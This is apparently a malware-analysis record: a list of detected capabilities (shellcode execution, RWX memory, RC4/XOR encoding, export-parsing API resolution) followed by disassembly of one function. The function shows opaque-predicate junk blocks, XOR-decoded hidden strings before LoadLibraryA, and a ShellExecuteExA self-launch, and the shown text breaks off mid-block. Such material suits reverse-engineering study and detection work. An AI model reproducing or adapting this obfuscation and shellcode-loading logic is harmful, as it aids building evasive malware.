Function at 0x1400286a8
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140097110
sub rsp, rax
mov rax, qword [0x1400fa700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x42]
mov esi, 0xade9c597
mov r12d, 0x1e4bf515
cmp rax, r12
jne 0x14002879a
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002877a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002877a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002879a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov ecx, r12d
call fcn.140011014
mov rax, qword gs:[0x42]
movabs r13, 0x8da1264b19cedc00
cmp rax, r12
jne 0x140028856
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028836
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028836
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028856
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
mov ebx, 0x16deb3e7
mov r15d, 0x1d9b9c58
cmp rax, r12
jne 0x140028919
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400288f9
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400288f9
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028919
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov ecx, r12d
call fcn.140027cb4
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x1400289cb
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400289ab
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400289ab
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400289cb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140028a75
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028a55
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028a55
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028a75
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
lea rdx, [0x1400eeec0]
lea rcx, [rbp + 0x998]
call fcn.1400109d8
mov rdx, rax
mov ecx, r12d
call fcn.14001e420
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140028b3d
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028b1d
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028b1d
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028b3d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140028be7
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028bc7
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028bc7
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028be7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov dword [rbp + 0x90], 0xa386649c
mov dword [rbp + 0x94], 0xe3e9b5d9
mov word [rbp + 0x98], WSAStartup
xor r14d, r14d
mov edi, r14d
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140037c48
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x140028c0a
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140028d00
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028ce0
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028ce0
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028d00
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140028db9
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028d99
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028d99
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028db9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov dword [rbp + 0x1f0], 0x91839b60
mov dword [rbp + 0x1f4], 0xb1b9ed9d
mov dword [rbp + 0x1f8], 0x9a94922d
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.140037908
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x140028de2
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140028ed8
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140028eb8
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140028eb8
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140028ed8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140027e84
test eax, eax
jne 0x14002917a
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c0970
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140028ff0
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c0970
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0x6e484ddc
mov word [rbp - 0x6c], 2
mov esi, 0x787f7b97
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140037be0
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140028f60
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400375c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140028ff5
mov esi, 0x787f7b97
mov word [rsp + 0x78], 0xb3
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xb3
lea rcx, [rsp + 0x78]
call fcn.140037ab0
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.140027d04
mov rbx, rax
movdqa xmm0, xmmword [0x1400f00a0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400f0080]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xaba99897
mov dword [rbp + 0xc1c], 0xba523e1f
mov dword [rbp + 0xc20], 0x94a958f7
mov word [rbp + 0xc24], Ordinal_200
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140037b78
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14002907a
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140038bac
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140038d6c
lea rcx, [rbp + 0x9d8]
call fcn.1400386c4
lea rcx, [rbp + 0x9b8]
call fcn.1400386c4
movdqa xmm0, xmmword [0x1400f02d0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], Ordinal_79
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.1400376f8
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140029113
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.140038318
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029233
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029213
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029213
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029233
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x1400292e3
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400292c3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400292c3
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400292e3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002939c
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002937c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002937c
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002939c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029446
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029426
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029426
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029446
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x1400294f0
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400294d0
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400294d0
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400294f0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
xor ecx, ecx
call fcn.14009ebe4
mov rbx, rax
mov word [rsp + 0x7c], 0xe8
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, 1
xor r8d, r8d
mov dl, 0xe8
lea rcx, [rsp + 0x7c]
call fcn.140037ab0
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0x46416d9a
mov word [rbp - 0x5c], 0x812c
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
lea r15d, [rax + 6]
mov qword [rsp + 0x20], 0x787f7b97
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140037974
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, r15
jb 0x140029541
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400a20c4
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029645
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029625
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029625
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029645
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x1400296ef
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400296cf
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400296cf
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400296ef
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov ecx, 2
call fcn.14009ebe4
mov rbx, rax
mov word [rbp - 0x80], 0xed
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, 1
xor r8d, r8d
mov dl, 0xed
lea rcx, [rbp - 0x80]
call fcn.140037ab0
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0x504a5b87
mov dword [rbp - 0x34], 0x8febf6
mov rdi, r14
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140037b10
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x140029737
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400a20c4
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x14002983e
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x1d9b9c58
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002981e
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002981e
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002983e
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x1400298e8
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400298c8
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400298c8
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400298e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov ecx, 1
call fcn.14009ebe4
mov rbx, rax
mov word [rbp - 0x7c], 0xed
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, 1
xor r8d, r8d
mov dl, 0xed
lea rcx, [rbp - 0x7c]
call fcn.140037ab0
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0x504a5b87
mov dword [rbp - 0x2c], 0x8febf6
mov rdi, r14
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140037b10
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x140029930
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400a20c4
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029a24
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029a04
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029a04
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029a24
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029ace
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029aae
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029aae
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029ace
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
movdqa xmm0, xmmword [0x1400effc0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400f0290]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400f0280]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x9e0b3002
mov dword [rbp + 0xd4c], 0x436b5dea
mov dword [rbp + 0xd50], 0x45ddad90
mov word [rbp + 0xd54], 0xed7c
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
mov qword [rsp + 0x20], 0x787f7b97
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140037a48
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x140029b30
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.14001087c
mov rax, qword gs:[0x42]
mov ebx, 0x1d9b9c58
cmp rax, r12
jne 0x140029c3a
mov rcx, qword gs:[0x35]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, 0x16deb3e7
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x35]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029c1a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029c1a
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029c3a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d818
int3
mov rax, qword gs:[0x42]
cmp rax, r12
jne 0x140029ce4
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x35]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029cc4
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029cc4
mov rcx, qword gs:[0x35]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029ce4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
